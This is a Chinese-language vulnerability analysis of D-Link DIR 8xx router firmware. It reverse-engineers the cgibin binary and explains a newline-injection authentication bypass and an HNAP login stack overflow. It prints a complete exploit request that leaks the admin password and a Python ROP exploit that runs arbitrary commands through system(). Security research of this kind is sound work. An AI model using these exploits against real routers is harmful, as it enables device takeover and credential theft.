D-Link DIR 8xx 漏洞分析
老外披露了几个 D-Link DIR 8xx 系列的漏洞,作为练手,对其分析、学习了下~
参数注入导致认证绕过
/usr/sbin/phpcgi 负责响应对于 .php、.txt、.asp 的请求,其实质为 /htdocs/cgibin 的链接文件:
➜ dlink-dir8xx ls -l _DIR890LA1_FW108b03.bin.extracted/squashfs-root/usr/sbin/phpcgi
lrwxr-xr-x 1 chu staff 14B 9 18 14:58 _DIR890LA1_FW108b03.bin.extracted/squashfs-root/usr/sbin/phpcgi -> /htdocs/cgibin
进而去逆向 /htdocs/cgibin:
int __cdecl main(int argc, const char **argv, const char **envp)
{
[...]
ret = 1;
ptr = strrchr(*argv, '/'); if ( ptr )
filename = ptr + 1; else
filename = *argv; if ( !strcmp(filename, "scandir.sgi") )
{
ret = sub_1D214(argc, argv);
} else if ( !strcmp(filename, "phpcgi") )
{
ret = handlePhpCgi(argc, argv, envp);
} else if ( !strcmp(filename, "dlapn.cgi") )
{
ret = sub_F9E8(argc, argv, envp);
[...]
程序通过判断文件名来对请求进行不同的处理。跟进 handlePhpCgi
后可以看到对请求参数、请求头进行解析后将执行权交给 php,解析过程如下:
int __fastcall handlePhpCgi(int argc, char **argv, char **envp)
{
[...]
ret = -1;
buf = 0; if ( argc > 1 )
{
buf = Malloc0x18();
if ( buf )
{
AddStr(buf, argv[1]);
AddChar(buf, '\n');
AddEnvp(buf, envp);
method = getenv("REQUEST_METHOD");
if ( method ) // 解析参数
{
if ( !strcasecmp(method, "HEAD") )
{
ret = ProcessHTTPRequest(GetKeyValue, buf, 0x80000u);
}
else if ( !strcasecmp(method, "GET") )
{
ret = ProcessHTTPRequest(GetKeyValue, buf, 0x80000u);
}
else
{
if ( strcasecmp(method, "POST") )
goto LABEL_16;
ret = ProcessHTTPRequest(PostKeyValue, buf, 0x80000u);
}
[...]
对参数进行解析后,将其储存以键值对的形式(_TYPE_KEY=VALUE,TYPE 为 GET、POST、SERVER),并以 \n
分隔储存到一字符串中,调试如下:
然后进行认证检查,将检查的结果赋值给 AUTHORIZED_GROUP
并保存到字符串中作为全局变量传递给 php:
[...]
if ( ret >= 0 )
{
authFlag = CheckAuth(); // 是否认证通过
sprintf(&s, "AUTHORIZED_GROUP=%d", authFlag);
AddStr(buf, &s);
AddChar(buf, '\n');
AddStr(buf, "SESSION_UID="); // 设置 Cookie
AddCookie(buf);
AddChar(buf, '\n');
msg = GetMsgPtr(buf);
ret = executePhpScript(0, 0, msg, stdout);// 执行 PHP 脚本}
[...]
在整个解析流程中并没有对参数中的 \n
进行过滤,所以如果通过注入 \n
进而注入 AUTHORIZED_GROUP
就可以绕过认证检查,未经授权执行 php 脚本。
分析 /htdocs/web/getcfg.php:
HTTP/1.1 200 OK
Content-Type: text/xml
<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml><? include "/htdocs/phplib/trace.php";
if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
if($AUTHORIZED_GROUP < 0)
{
/* not a power user, return error message */
echo "\t<result>FAILED</result>\n";
echo "\t<message>Not authorized</message>\n";
}
else
{ // 认证通过
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
// 执行 SERVICES 参数中的脚本
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
}
}?></postxml>
在认证通过后程序获取 $_POST["SERVICES"]
参数,将其拼接到字符串中进行包含。/htdocs/webinc/getcfg/ 目录(也可以通过 ../
跳转目录)下为路由的配置文件,比如 DEVICE.ACCOUNT.xml.php
中保存着路由的管理密码:
[...]
foreach("/device/account/entry")
{
if ($InDeX > $cnt) break;
echo "\t\t\t<entry>\n";
echo "\t\t\t\t<uid>". get("x","uid"). "</uid>\n";
echo "\t\t\t\t<name>". get("x","name"). "</name>\n";
echo "\t\t\t\t<usrid>". get("x","usrid"). "</usrid>\n";
echo "\t\t\t\t<password>". get("x","password")."</password>\n";
echo "\t\t\t\t<group>". get("x", "group"). "</group>\n";
echo "\t\t\t\t<description>".get("x","description")."</description>\n";
echo "\t\t\t</entry>\n";
}
[...]
完整利用请求如下:
POST /getcfg.php?a=b%0aAUTHORIZED_GROUP%3d0 HTTP/1.0
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,ko;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
SERVICES=DEVICE.ACCOUNT
HTTP/1.1 200 OK
Server: WebServer
Date: Tue, 19 Sep 2017 05:21:34 GMT
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?>
[...]
<uid></uid>
<name>Admin</name>
<usrid></usrid>
<password>1qaz2wsx3edc</password>
<group>0</group>
[...]
获取到管理密码后可以通过上传固件等方式达到代码执行的效果。
HNAP 栈溢出
漏洞存在于针对 HNAP 请求的响应中,同样位于 /htdocs/cgibin 中:
int __cdecl main(int argc, const char **argv, const char **envp)
{
[...]
else if ( !strcmp(filename, "hnap") )
{
ret = handleHNAP(argc, argv, envp);
}
[...]
跟进 handleHNAP
,其逻辑如下:
int __fastcall handleHNAP(int argc, char **argv, char **envp)
{
[...]
ret = 0;
memset(&s, 0, 0x100u);
authorization = getenv("HTTP_AUTHORIZATION");
soapaction = getenv("HTTP_SOAPACTION");
method = getenv("REQUEST_METHOD");
a1 = 0;
hnapAuth = getenv("HTTP_HNAP_AUTH");
cookie = getenv("HTTP_COOKIE");
referer = getenv("HTTP_REFERER");
memset(&name, 0, 0x100u);
if ( soapaction )
{
if ( strcmp(soapaction, "http://purenetworks.com/HNAP1/GetDeviceSettings")
&& strcmp(soapaction, "\"http://purenetworks.com/HNAP1/GetDeviceSettings\"") )
{
if ( strstr(soapaction, "http://purenetworks.com/HNAP1/GetCAPTCHAsetting") )
{
soapaction = "http://purenetworks.com/HNAP1/GetCAPTCHAsetting";
if ( !strcasecmp(method, "POST") )
ProcessHTTPRequest(0, 0, 0);
ret = sub_19C48(cookie);
goto LABEL_46;
}
if ( strstr(soapaction, "http://purenetworks.com/HNAP1/Login") )
{
soapaction = "http://purenetworks.com/HNAP1/Login";
ret = HNAPLogin(cookie);
goto LABEL_46;
}
[...]
根据 HTTP_SOAPACTION
的不同进入不同的处理分支中,跟进登陆分支 HNAPLogin
函数:
int __fastcall HNAPLogin(char *cookie)
{
[...]
buf = Malloc0x18();
v36 = 0;
v35 = 0;
ProcessHTTPRequest(GetKeyValueByTag, 0, 0x10000u);
msg = GetMsgPtr(buf);
GetValueByTag(msg, "Action", &action);
v2 = GetMsgPtr(buf);
GetValueByTag(v2, "Username", &username);
v3 = GetMsgPtr(buf);
GetValueByTag(v3, "LoginPassword", &loginPassword);
v4 = GetMsgPtr(buf);
GetValueByTag(v4, "Captcha", &captcha);
src = &username;
v34 = 0;
v32 = -1;
v35 = sub_10C0C(&v32);
if ( v35 >= 0 )
{
[...]
通过 GetValueByTag
解析请求中的 POST 数据(<key>value</key>
):
char *__fastcall GetValueByTag(char *data, char *tag, char *dst)
{
[...]
sprintf(&tagStart, "<%s>", tag);
sprintf(&tagEnd, "</%s>", tag);
startLength = strlen(&tagStart);
v14 = startLength + 1;
ret = strstr(data, &tagStart);
valueStart = ret;
if ( ret )
{
valueStart += startLength;
ret = strstr(valueStart, &tagEnd);
valueEnd = ret;
if ( ret )
{
valueLength = valueEnd - valueStart;
if ( valueEnd - valueStart >= 0 )
{
strncpy(&value, valueStart, valueLength);
v16[valueLength - 0x414] = 0;
ret = strcpy(dst, &value);
}
}
}
return ret;
}
可以看到,程序未对值长度进行任何判断就将其复制到字符串中(strcpy),导致了栈溢出。
➜ dlink-dir8xx checksec _DIR890LA1_FW108b03.bin.extracted/squashfs-root/htdocs/cgibin
[*] '/Users/chu/Desktop/dlink-dir8xx/_DIR890LA1_FW108b03.bin.extracted/squashfs-root/htdocs/cgibin'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
程序只开启了 NX 防护,但代码中有多处 system
的调用,并且在函数返回时 R0 指向输入的数据,所以很容易构造 ROP 链:
def exploit(host, port, cmd):
cmd = cmd if cmd.endswith(";") else cmd + ";"
payload = "<Action>{}".format(cmd)
payload += "A" * (StackSize - len(cmd)) + p32(0xffffffff) + "A" * JunkSize
payload += p32(CallSystem)[:3] # avoid "\00"
payload += "</Action>"
url = "http://{}:{}/HNAP1/".format(host, port)
header = {
"SOAPACTION": "http://purenetworks.com/HNAP1/Login",
"Content-Type": "text/html"
}
try:
resp = requests.post(url, payload, headers=header, timeout=3)
resp.close()
except Exception as ex:
return "error: {}".format(ex)
return resp.text
利用如下:
可下载 Bin 文件及 IDB 文件:GitHub。
参考
Enlarge your botnet with: top D-Link routers (DIR8xx D-Link routers cruisin’ for a bruisin’)